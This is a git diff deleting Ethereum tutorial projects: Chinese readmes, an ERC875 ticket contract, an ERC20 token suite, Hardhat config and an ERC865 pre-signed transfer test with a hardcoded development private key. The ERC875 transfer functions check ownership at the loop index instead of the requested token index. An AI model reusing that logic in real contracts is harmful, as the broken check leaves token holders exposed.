-    transaction_receipt = uniswap_factory.launchExchange(BEE_token)
-    bee_token_exchange_address = uniswap_factory.tokenToExchangeLookup(BEE_token)
-
-    BEExchange = Contract.from_abi("", bee_token_exchange_address, UniswapExchange.abi)
-    return BEExchange
diff --git a/Example20-scaffold-flash-loan/readme.md b/Example20-scaffold-flash-loan/readme.md
deleted file mode 100644
index 5886077c3..000000000
--- a/Example20-scaffold-flash-loan/readme.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# scaffold
-  此项目是以太坊脚手架，开发者可以利用此项目进行快速原型开发，实属黑客马拉松必备良器。
-  我们进行一个简单的闪电贷功能开发。
-
-
-## 参考链接
-
-
-
diff --git a/Example22-scaffold-zk/readme.md b/Example22-scaffold-zk/readme.md
deleted file mode 100644
index 51be12ec8..000000000
--- a/Example22-scaffold-zk/readme.md
+++ /dev/null
@@ -1,10 +0,0 @@
-  https://learnblockchain.cn/article/1078
-  https://iden3.io/blog/circom-and-snarkjs-tutorial2.html
-
-  libsnark使用步骤：
-  1. 将待证明的命题表达为R1CS
-  2. 使用生成算法G为该命题生成公共参数
-  3. 使用证明生成算法生成R1CS可满足的证明
-  4. 使用验证算法来验证证明
-
-
diff --git a/Example23-erc865-and-erc875/README.md b/Example23-erc865-and-erc875/README.md
deleted file mode 100644
index 08e4bd002..000000000
--- a/Example23-erc865-and-erc875/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
-## ERC865
-
-  代理合约，转账无需gas费，离线发送代理方上链
-   
-## ERC875
-   支持原子交易的token
-   
-## EIP712
-签名协议
-
-## 参考链接
-https://github.com/propsproject/props-token-distribution
-EIP712 ：https://learnblockchain.cn/article/1357  
\ No newline at end of file
diff --git a/Example23-erc865-and-erc875/contracts/erc875/ERC875.sol b/Example23-erc865-and-erc875/contracts/erc875/ERC875.sol
deleted file mode 100644
index 4566d3374..000000000
--- a/Example23-erc865-and-erc875/contracts/erc875/ERC875.sol
+++ /dev/null
@@ -1,219 +0,0 @@
-pragma solidity ^0.4.24;
-
-    contract ERC165
-    {
-      /// @notice Query if a contract implements an interface
-      /// @param interfaceID The interface identifier, as specified in ERC-165
-      /// @dev Interface identification is specified in ERC-165. This function
-      ///  uses less than 30,000 gas.
-      /// @return `true` if the contract implements `interfaceID` and
-      ///  `interfaceID` is not 0xffffffff, `false` otherwise
-      function supportsInterface(bytes4 interfaceID) external view returns (bool);
-    }
-
-    contract ERC875 /* is ERC165 */
-    {
-      event Transfer(address indexed _from, address indexed _to, uint256[] tokenIndices);
-
-    function name() constant public returns (string name);
-    function symbol() constant public returns (string symbol);
-    function balanceOf(address _owner) public view returns (uint256[] _balances);
-    function transfer(address _to, uint256[] _tokens) public;
-    function transferFrom(address _from, address _to, uint256[] _tokens) public;
-
-    //optional
-    //function totalSupply() public constant returns (uint256 totalSupply);
-    function trade(uint256 expiryTimeStamp, uint256[] tokenIndices, uint8 v, bytes32 r, bytes32 s) public payable;
-    //function ownerOf(uint256 _tokenId) public view returns (address _owner);
-    }
-
-
-    contract Token is ERC875 {
-    uint totalTickets;
-    mapping(address => uint256[]) inventory;
-    uint16 ticketIndex = 0; //to track mapping in tickets
-    uint expiryTimeStamp;
-    address owner;   // the address that calls selfdestruct() and takes fees
-    address admin;
-    uint transferFee;
-    uint numOfTransfers = 0;
-    string public name;
-    string public symbol;
-    uint8 public constant decimals = 0; //no decimals as tickets cannot be split
-
-    event Transfer(address indexed _from, address indexed _to, uint256[] tokenIndices);
-    event TransferFrom(address indexed _from, address indexed _to, uint _value);
-
-    modifier adminOnly()
-    {
-        if(msg.sender != admin) revert();
-        else _;
-    }
-
-    function() public { revert(); } //should not send any ether directly
-
-    // example: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], "MJ comeback", 1603152000, "MJC", "0x007bEe82BDd9e866b2bd114780a47f2261C684E3"
-    function Token(
-        uint256[] numberOfTokens,
-        string evName,
-        uint expiry,
-        string eventSymbol,
-        address adminAddr) public
-    {
-        totalTickets = numberOfTokens.length;
-        //assign some tickets to event admin
-        expiryTimeStamp = expiry;
-        owner = msg.sender;
-        admin = adminAddr;
-        inventory[admin] = numberOfTokens;
-        symbol = eventSymbol;
-        name = evName;
-    }
-
-    function getDecimals() public pure returns(uint)
-    {
-        return decimals;
-    }
-
-    // price is 1 in the example and the contract address is 0xfFAB5Ce7C012bc942F5CA0cd42c3C2e1AE5F0005
-    // example: 0, [3, 4], 27, "0x2C011885E2D8FF02F813A4CB83EC51E1BFD5A7848B3B3400AE746FB08ADCFBFB", "0x21E80BAD65535DA1D692B4CEE3E740CD3282CCDC0174D4CF1E2F70483A6F4EB2"
-    // price is encoded in the server and the msg.value is added to the message digest,
-    // if the message digest is thus invalid then either the price or something else in the message is invalid
-    function trade(uint256 expiry,
-    uint256[] tokenIndices,
-    uint8 v,
-    bytes32 r,
-    bytes32 s) public payable
-    {
-    //checks expiry timestamp,
-    //if fake timestamp is added then message verification will fail
-        require(expiry > block.timestamp || expiry == 0);
-        //id 1 for mainnet
-        bytes12 prefix = "ERC800-CNID1";
-        bytes32 message = encodeMessage(prefix, msg.value, expiry, tokenIndices);
-        address seller = ecrecover(message, v, r, s);
-
-        for(uint i = 0; i < tokenIndices.length; i++)
-        { // transfer each individual tickets in the ask order
-        uint index = uint(tokenIndices[i]);
-        require((inventory[seller][index] > 0)); // 0 means ticket sold.
-        inventory[msg.sender].push(inventory[seller][index]);
-        inventory[seller][index] = 0; // 0 means ticket sold.
-        }
-        seller.transfer(msg.value);
-    }
-
-
-    //must also sign in the contractAddress
-    //prefix must contain ERC and chain id
-    function encodeMessage(bytes12 prefix, uint value,
-    uint expiry, uint256[] tokenIndices)
-    internal view returns (bytes32)
-    {
-        bytes memory message = new bytes(96 + tokenIndices.length * 2);
-        address contractAddress = getContractAddress();
-        for (uint i = 0; i < 32; i++)
-        {   // convert bytes32 to bytes[32]
-        // this adds the price to the message
-        message[i] = byte(bytes32(value << (8 * i)));
-        }
-
-        for (i = 0; i < 32; i++)
-        {
-        message[i + 32] = byte(bytes32(expiry << (8 * i)));
-        }
-
-        for(i = 0; i < 12; i++)
-        {
-        message[i + 64] = byte(prefix << (8 * i));
-        }
-
-        for(i = 0; i < 20; i++)
-        {
-        message[76 + i] = byte(bytes20(bytes20(contractAddress) << (8 * i)));
-        }
-
-        for (i = 0; i < tokenIndices.length; i++)
-        {
-        // convert int[] to bytes
-        message[96 + i * 2 ] = byte(tokenIndices[i] >> 8);
-        message[96 + i * 2 + 1] = byte(tokenIndices[i]);
-        }
-
-        return keccak256(message);
-    }
-
-    function name() public view returns(string)
-    {
-       return name;
-    }
-
-    function symbol() public view returns(string)
-    {
-        return symbol;
-    }
-
-    function getAmountTransferred() public view returns (uint)
-    {
-        return numOfTransfers;
-    }
-
-    function isContractExpired() public view returns (bool)
-    {
-        if(block.timestamp > expiryTimeStamp)
-        {
-        return true;
-        }
-        else return false;
-    }
-
-    function balanceOf(address _owner) public view returns (uint256[])
-    {
-        return inventory[_owner];
-    }
-
-    function myBalance() public view returns(uint256[])
-    {
-       return inventory[msg.sender];
-    }
-
-    function transfer(address _to, uint256[] tokenIndices) public
-    {
-        for(uint i = 0; i < tokenIndices.length; i++)
-        {
-        require(inventory[msg.sender][i] != 0);
-        //pushes each element with ordering
-        uint index = uint(tokenIndices[i]);
-        inventory[_to].push(inventory[msg.sender][index]);
-        inventory[msg.sender][index] = 0;
-        }
-    }
-
-    function transferFrom(address _from, address _to, uint256[] tokenIndices)
-    adminOnly public
-    {
-        bool isadmin = msg.sender == admin;
-        for(uint i = 0; i < tokenIndices.length; i++)
-        {
-        require(inventory[_from][i] != 0 || isadmin);
-        //pushes each element with ordering
-        uint index = uint(tokenIndices[i]);
-        inventory[_to].push(inventory[_from][index]);
-        inventory[_from][index] = 0;
-        }
-    }
-
-    function endContract() public
-    {
-        if(msg.sender == owner)
-        {
-        selfdestruct(owner);
-        }
-        else revert();
-    }
-
-    function getContractAddress() public view returns(address)
-    {
-       return this;
-    }
-}
\ No newline at end of file
diff --git a/Example23-erc865-and-erc875/contracts/erc875/simpleToken.sol b/Example23-erc865-and-erc875/contracts/erc875/simpleToken.sol
deleted file mode 100644
index a3a59c98c..000000000
--- a/Example23-erc865-and-erc875/contracts/erc875/simpleToken.sol
+++ /dev/null
@@ -1,525 +0,0 @@
-//  2019/10/15  //0xd2b7915d17e90771afd042ad403999167bf9abf8
-
-// 用0。5。6编译器
-pragma solidity ^0.4.25;
-
-
-interface IERC20 {
-    function transfer(address to, uint256 value) external returns (bool);
-
-    function approve(address spender, uint256 value) external returns (bool);
-
-    function transferFrom(address from, address to, uint256 value) external returns (bool);
-
-    function totalSupply() external view returns (uint256);
-
-    function balanceOf(address who) external view returns (uint256);
-
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-library SafeMath {
-    /**
-     * @dev Multiplies two unsigned integers, reverts on overflow.
-     */
-    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
-        // benefit is lost if 'b' is also tested.
-        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
-        if (a == 0) {
-            return 0;
-        }
-
-        uint256 c = a * b;
-        require(c / a == b, "SafeMath: multiplication overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
-     */
-    function div(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Solidity only automatically asserts when dividing by 0
-        require(b > 0, "SafeMath: division by zero");
-        uint256 c = a / b;
-        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
-
-        return c;
-    }
-
-    /**
-     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
-     */
-    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b <= a, "SafeMath: subtraction overflow");
-        uint256 c = a - b;
-
-        return c;
-    }
-
-    /**
-     * @dev Adds two unsigned integers, reverts on overflow.
-     */
-    function add(uint256 a, uint256 b) internal pure returns (uint256) {
-        uint256 c = a + b;
-        require(c >= a, "SafeMath: addition overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
-     * reverts when dividing by zero.
-     */
-    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b != 0, "SafeMath: modulo by zero");
-        return a % b;
-    }
-}
-
-library Roles {
-    struct Role {
-        mapping (address => bool) bearer;
-    }
-
-    /**
-     * @dev Give an account access to this role.
-     */
-    function add(Role storage role, address account) internal {
-        require(!has(role, account), "Roles: account already has role");
-        role.bearer[account] = true;
-    }
-
-    /**
-     * @dev Remove an account's access to this role.
-     */
-    function remove(Role storage role, address account) internal {
-        require(has(role, account), "Roles: account does not have role");
-        role.bearer[account] = false;
-    }
-
-    /**
-     * @dev Check if an account has this role.
-     * @return bool
-     */
-    function has(Role storage role, address account) internal view returns (bool) {
-        require(account != address(0), "Roles: account is the zero address");
-        return role.bearer[account];
-    }
-}
-
-contract ERC20 is IERC20 {
-    using SafeMath for uint256;
-
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowed;
-
-    uint256 private _totalSupply;
-
-    /**
-     * @dev Total number of tokens in existence.
-     */
-    function totalSupply() public view returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev Gets the balance of the specified address.
-     * @param owner The address to query the balance of.
-     * @return A uint256 representing the amount owned by the passed address.
-     */
-    function balanceOf(address owner) public view returns (uint256) {
-        return _balances[owner];
-    }
-
-    /**
-     * @dev Function to check the amount of tokens that an owner allowed to a spender.
-     * @param owner address The address which owns the funds.
-     * @param spender address The address which will spend the funds.
-     * @return A uint256 specifying the amount of tokens still available for the spender.
-     */
-    function allowance(address owner, address spender) public view returns (uint256) {
-        return _allowed[owner][spender];
-    }
-
-    /**
-     * @dev Transfer token to a specified address.
-     * @param to The address to transfer to.
-     * @param value The amount to be transferred.
-     */
-    function transfer(address to, uint256 value) public returns (bool) {
-        _transfer(msg.sender, to, value);
-        return true;
-    }
-
-    /**
-     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
-     * Beware that changing an allowance with this method brings the risk that someone may use both the old
-     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
-     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     * @param spender The address which will spend the funds.
-     * @param value The amount of tokens to be spent.
-     */
-    function approve(address spender, uint256 value) public returns (bool) {
-        _approve(msg.sender, spender, value);
-        return true;
-    }
-
-    /**
-     * @dev Transfer tokens from one address to another.
-     * Note that while this function emits an Approval event, this is not required as per the specification,
-     * and other compliant implementations may not emit the event.
-     * @param from address The address which you want to send tokens from
-     * @param to address The address which you want to transfer to
-     * @param value uint256 the amount of tokens to be transferred
-     */
-    function transferFrom(address from, address to, uint256 value) public returns (bool) {
-        _transfer(from, to, value);
-        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
-        return true;
-    }
-
-    /**
-     * @dev Increase the amount of tokens that an owner allowed to a spender.
-     * approve should be called when _allowed[msg.sender][spender] == 0. To increment
-     * allowed value is better to use this function to avoid 2 calls (and wait until
-     * the first transaction is mined)
-     * From MonolithDAO Token.sol
-     * Emits an Approval event.
-     * @param spender The address which will spend the funds.
-     * @param addedValue The amount of tokens to increase the allowance by.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
-        _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
-        return true;
-    }
-
-    /**
-     * @dev Decrease the amount of tokens that an owner allowed to a spender.
-     * approve should be called when _allowed[msg.sender][spender] == 0. To decrement
-     * allowed value is better to use this function to avoid 2 calls (and wait until
-     * the first transaction is mined)
-     * From MonolithDAO Token.sol
-     * Emits an Approval event.
-     * @param spender The address which will spend the funds.
-     * @param subtractedValue The amount of tokens to decrease the allowance by.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
-        _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
-        return true;
-    }
-
-    /**
-     * @dev Transfer token for a specified addresses.
-     * @param from The address to transfer from.
-     * @param to The address to transfer to.
-     * @param value The amount to be transferred.
-     */
-    function _transfer(address from, address to, uint256 value) internal {
-        require(to != address(0), "ERC20: transfer to the zero address");
-
-        _balances[from] = _balances[from].sub(value);
-        _balances[to] = _balances[to].add(value);
-        emit Transfer(from, to, value);
-    }
-
-    /**
-     * @dev Internal function that mints an amount of the token and assigns it to
-     * an account. This encapsulates the modification of balances such that the
-     * proper events are emitted.
-     * @param account The account that will receive the created tokens.
-     * @param value The amount that will be created.
-     */
-    function _mint(address account, uint256 value) internal {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _totalSupply = _totalSupply.add(value);
-        _balances[account] = _balances[account].add(value);
-        emit Transfer(address(0), account, value);
-    }
-
-    /**
-     * @dev Internal function that burns an amount of the token of a given
-     * account.
-     * @param account The account whose tokens will be burnt.
-     * @param value The amount that will be burnt.
-     */
-    function _burn(address account, uint256 value) internal {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _totalSupply = _totalSupply.sub(value);
-        _balances[account] = _balances[account].sub(value);
-        emit Transfer(account, address(0), value);
-    }
-
-    /**
-     * @dev Approve an address to spend another addresses' tokens.
-     * @param owner The address that owns the tokens.
-     * @param spender The address that will spend the tokens.
-     * @param value The number of tokens that can be spent.
-     */
-    function _approve(address owner, address spender, uint256 value) internal {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowed[owner][spender] = value;
-        emit Approval(owner, spender, value);
-    }
-
-    /**
-     * @dev Internal function that burns an amount of the token of a given
-     * account, deducting from the sender's allowance for said account. Uses the
-     * internal burn function.
-     * Emits an Approval event (reflecting the reduced allowance).
-     * @param account The account whose tokens will be burnt.
-     * @param value The amount that will be burnt.
-     */
-    function _burnFrom(address account, uint256 value) internal {
-        _burn(account, value);
-        _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
-    }
-}
-
-contract ERC20Detailed is IERC20 {
-    string private _name;
-    string private _symbol;
-    uint8 private _decimals;
-
-    constructor (string memory name, string memory symbol, uint8 decimals) public {
-        _name = name;
-        _symbol = symbol;
-        _decimals = decimals;
-    }
-
-    /**
-     * @return the name of the token.
-     */
-    function name() public view returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @return the symbol of the token.
-     */
-    function symbol() public view returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @return the number of decimals of the token.
-     */
-    function decimals() public view returns (uint8) {
-        return _decimals;
-    }
-}
-
-contract ERC20Burnable is ERC20 {
-    /**
-     * @dev Burns a specific amount of tokens.
-     * @param value The amount of token to be burned.
-     */
-    function burn(uint256 value) public {
-        _burn(msg.sender, value);
-    }
-
-    /**
-     * @dev Burns a specific amount of tokens from the target address and decrements allowance.
-     * @param from address The account whose tokens will be burned.
-     * @param value uint256 The amount of token to be burned.
-     */
-    function burnFrom(address from, uint256 value) public {
-        _burnFrom(from, value);
-    }
-}
-
-contract MinterRole {
-    using Roles for Roles.Role;
-
-    event MinterAdded(address indexed account);
-    event MinterRemoved(address indexed account);
-
-    Roles.Role private _minters;
-
-    constructor () internal {
-        _addMinter(msg.sender);
-    }
-
-    modifier onlyMinter() {
-        require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
-        _;
-    }
-
-    function isMinter(address account) public view returns (bool) {
-        return _minters.has(account);
-    }
-
-    function addMinter(address account) public onlyMinter {
-        _addMinter(account);
-    }
-
-    function renounceMinter() public {
-        _removeMinter(msg.sender);
-    }
-
-    function _addMinter(address account) internal {
-        _minters.add(account);
-        emit MinterAdded(account);
-    }
-
-    function _removeMinter(address account) internal {
-        _minters.remove(account);
-        emit MinterRemoved(account);
-    }
-}
-
-contract PauserRole {
-    using Roles for Roles.Role;
-
-    event PauserAdded(address indexed account);
-    event PauserRemoved(address indexed account);
-
-    Roles.Role private _pausers;
-
-    constructor () internal {
-        _addPauser(msg.sender);
-    }
-
-    modifier onlyPauser() {
-        require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
-        _;
-    }
-
-    function isPauser(address account) public view returns (bool) {
-        return _pausers.has(account);
-    }
-
-    function addPauser(address account) public onlyPauser {
-        _addPauser(account);
-    }
-
-    function renouncePauser() public {
-        _removePauser(msg.sender);
-    }
-
-    function _addPauser(address account) internal {
-        _pausers.add(account);
-        emit PauserAdded(account);
-    }
-
-    function _removePauser(address account) internal {
-        _pausers.remove(account);
-        emit PauserRemoved(account);
-    }
-}
-
-contract Pausable is PauserRole {
-    event Paused(address account);
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    constructor () internal {
-        _paused = false;
-    }
-
-    /**
-     * @return True if the contract is paused, false otherwise.
-     */
-    function paused() public view returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     */
-    modifier whenNotPaused() {
-        require(!_paused, "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     */
-    modifier whenPaused() {
-        require(_paused, "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Called by a pauser to pause, triggers stopped state.
-     */
-    function pause() public onlyPauser whenNotPaused {
-        _paused = true;
-        emit Paused(msg.sender);
-    }
-
-    /**
-     * @dev Called by a pauser to unpause, returns to normal state.
-     */
-    function unpause() public onlyPauser whenPaused {
-        _paused = false;
-        emit Unpaused(msg.sender);
-    }
-}
-
-contract ERC20Pausable is ERC20, Pausable {
-    function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
-        return super.transfer(to, value);
-    }
-
-    function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
-        return super.transferFrom(from, to, value);
-    }
-
-    function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
-        return super.approve(spender, value);
-    }
-
-    function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
-        return super.increaseAllowance(spender, addedValue);
-    }
-
-    function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
-        return super.decreaseAllowance(spender, subtractedValue);
-    }
-}
-
-contract ERC20Mintable is ERC20, MinterRole {
-    /**
-     * @dev Function to mint tokens
-     * @param to The address that will receive the minted tokens.
-     * @param value The amount of tokens to mint.
-     * @return A boolean that indicates if the operation was successful.
-     */
-    function mint(address to, uint256 value) public onlyMinter returns (bool) {
-        _mint(to, value);
-        return true;
-    }
-}
-
-contract SimpleToken is ERC20Pausable,ERC20Mintable,ERC20Burnable, ERC20Detailed {
-    uint8 public constant DECIMALS = 18;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20Detailed(name, symbol, decimals){
-
-
-
-        INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-        _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-    function () external {
-        revert();
-    }
-}
diff --git a/Example23-erc865-and-erc875/hardhat.config.js b/Example23-erc865-and-erc875/hardhat.config.js
deleted file mode 100644
index b2db26953..000000000
--- a/Example23-erc865-and-erc875/hardhat.config.js
+++ /dev/null
@@ -1,22 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.4.25",
-};
-
diff --git a/Example23-erc865-and-erc875/package.json b/Example23-erc865-and-erc875/package.json
deleted file mode 100644
index 18f43d923..000000000
--- a/Example23-erc865-and-erc875/package.json
+++ /dev/null
@@ -1,13 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.3.1",
-    "hardhat": "^2.3.3",
-    "bignumber.js": "^8.0.2",
-    "ethereumjs-util": "^5.1.3"
-  }
-}
diff --git a/Example23-erc865-and-erc875/scripts/sample-script.js b/Example23-erc865-and-erc875/scripts/sample-script.js
deleted file mode 100644
index a590d771e..000000000
--- a/Example23-erc865-and-erc875/scripts/sample-script.js
+++ /dev/null
@@ -1,28 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-  // Hardhat always runs the compile task when running scripts with its command
-  // line interface.
-  //
-  // If this script is run directly using `node` you may want to call compile 
-  // manually to make sure everything is compiled
-  // await hre.run('compile');
-
-  // We get the contract to deploy
- 
-  console.log("Greeter deployed to:", "");
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example23-erc865-and-erc875/test/sample-test.js b/Example23-erc865-and-erc875/test/sample-test.js
deleted file mode 100644
index 403ee6918..000000000
--- a/Example23-erc865-and-erc875/test/sample-test.js
+++ /dev/null
@@ -1,365 +0,0 @@
-const { expect } = require("chai");
-
-global.timestamp = Math.floor(Date.now() / 1000) + 20; // now + 60 seconds to allow for further testing when not allowed
-const BigNumber = require('bignumber.js');
-const ethUtil = require('ethereumjs-util');
-//const utils = require('./utils');
-
-const formattedAddress = address => Buffer.from(ethUtil.stripHexPrefix(address), 'hex');
-const formattedInt = int => ethUtil.setLengthLeft(int, 32);
-const formattedBytes32 = bytes => ethUtil.addHexPrefix(bytes.toString('hex'));
-const hashedTightPacked = args => ethUtil.keccak256(Buffer.concat(args));
-
-  
- 
-  describe('ERC865 compatible logic', async () => {
-    
-    
-    
-    it('Charlie transfers 100 tokens from Alice to Bob (fee=10)', async () => {
-      // give alice some props
-      const [owner,alice,bob,charlie] =  await hre.ethers.getSigners();
-
-
-      console.log("owner:" , owner.address);
-      console.log("Alice:" , alice.address);
-      console.log("Bob:" , bob.address);
-      console.log("charlie:" , charlie.address);
-
-      const to = bob.address;
-      const delegate = charlie.address;
-      const fee = 1;
-      const amount = 10;
-      const propsInWallet = 5000;
-      const alicePrivateKey = Buffer.from("59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d", 'hex');
-       let wallet = new ethers.Wallet(alicePrivateKey);
-       console.log("wallet address" , wallet.address)
-
-      let components;
-      let nonce;
-
-      const Token = await ethers.getContractFactory("DToken");
-      console.log("______________________")
-      const hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
-      console.log("Dtoken address :", hardhatToken.address);
-      // Transfer 50 tokens from owner to addr1
-      await hardhatToken.transfer(alice.address, propsInWallet);
-      // nonce = await web3.eth.getTransactionCount(alice.address);
-        nonce = 1;
-
-      aliceBalance = await hardhatToken.balanceOf(alice.address);
-      console.log("alice balance before: ", aliceBalance.toNumber());
-      bobBalance = await hardhatToken.balanceOf(bob.address);
-      console.log("bob balance before: ", bobBalance.toNumber());
-      components = [
-        Buffer.from('0d98dcb1', 'hex'),
-        formattedAddress(hardhatToken.address),
-        formattedAddress(to),
-        formattedInt(amount),
-        formattedInt(fee),
-        formattedInt(nonce),
-      ];
-
-
-      
-      let messageHash = hashedTightPacked(components);
-    
-      const message_bytes = ethers.utils.arrayify(messageHash);
-      // let hash = ethers.utils.solidityKeccak256(['string', 'bytes32'],
-      //     ['\x19Ethereum Signed Message:\n32', messageHash]);
-     // console.log('message: ' + message_bytes);
-
-      const sig = await wallet.signMessage(message_bytes);
-      // alice send sig to charlie offline
-      // charlie connect;
-      
-      console.log("alice off-sign successfully")
-      
-
-      let hardhatTokenCharlie = hardhatToken.connect(charlie);
-      const txreceipt =await hardhatTokenCharlie.transferPreSigned(sig, to, amount, fee, nonce);
-      const { events } = await txreceipt.wait();
-
-      const args = events.find(({ event }) => event === 'TransferPreSigned').args
-     // console.log("args:", args)
-      aliceBalance = await hardhatToken.balanceOf(alice.address);
-      console.log("alice balance after: ", aliceBalance.toNumber());
-      bobBalance = await hardhatToken.balanceOf(bob.address);
-      charlieBalance = await hardhatToken.balanceOf(charlie.address);
-      console.log("bob balance after: ", bobBalance.toNumber());
-
-      //expect(await hardhatToken.balanceOf(addr2.address)).to.equal(50);
-      expect(Number(aliceBalance)).to.equal(propsInWallet - (amount + fee));
-      expect(Number(bobBalance)).to.equal(amount);
-      expect(Number(charlieBalance)).to.equal(fee);
-    })
-   
-  })
-
-//     it('Charlie approves Damien to spend 100 tokens on behalf of Alice to Bob (fee=10)', async () => {
-//       // give alice some props
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       const oldAliceBalance = aliceBalance;
-//       const oldCharlieBalance = charlieBalance;
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('79250dcf', 'hex'),
-//         formattedAddress(instance.address),
-//         formattedAddress(damien.address),
-//         formattedInt(amount),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       // console.log(`${instance.address},${to},${amount},${fee},${nonce},${sig}`);
-//       await instance.methods.approvePreSigned(
-//           sig,
-//           damien.address,
-//           amount,
-//           fee,
-//           nonce).send(
-//           { from: charlie.address , gas:1000000}
-//       );
-//
-//       aliceBalance = await instance.methods.balanceOf(alice.address).call();
-//       charlieBalance = await instance.methods.balanceOf(charlie.address).call();
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       assert.equal(Number(aliceBalance), Number(oldAliceBalance) - fee);
-//       assert.equal(Number(charlieBalance), Number(oldCharlieBalance) + fee);
-//     });
-//
-//     it('Damien transfers half of approved tokens from Alice to Bob', async () => {
-//       const oldAliceBalance = aliceBalance;
-//       const oldBobBalance = bobBalance;
-//       await instance.methods.transferFrom(alice.address, bob.address, amount / 2).send({ from: damien.address });
-//       aliceBalance = await instance.methods.balanceOf(alice.address).call();
-//       bobBalance = await instance.methods.balanceOf(bob.address).call();
-//       assert.equal(Number(aliceBalance), Number(oldAliceBalance) - (amount / 2));
-//       assert.equal(Number(bobBalance), Number(oldBobBalance) + (amount / 2));
-//     });
-//
-//     it('Charlie performs transferFrom of 50 tokens on behalf of damien from Alice to Bob (fee=10)', async () => {
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       const oldAliceBalance = aliceBalance;
-//       const oldBobBalance = bobBalance;
-//       const oldCharlieBalance = charlieBalance;
-//       const oldDamienBalance = await instance.methods.balanceOf(damien.address).call();
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[7]);
-//       components = [
-//         Buffer.from('a70c41b4', 'hex'),
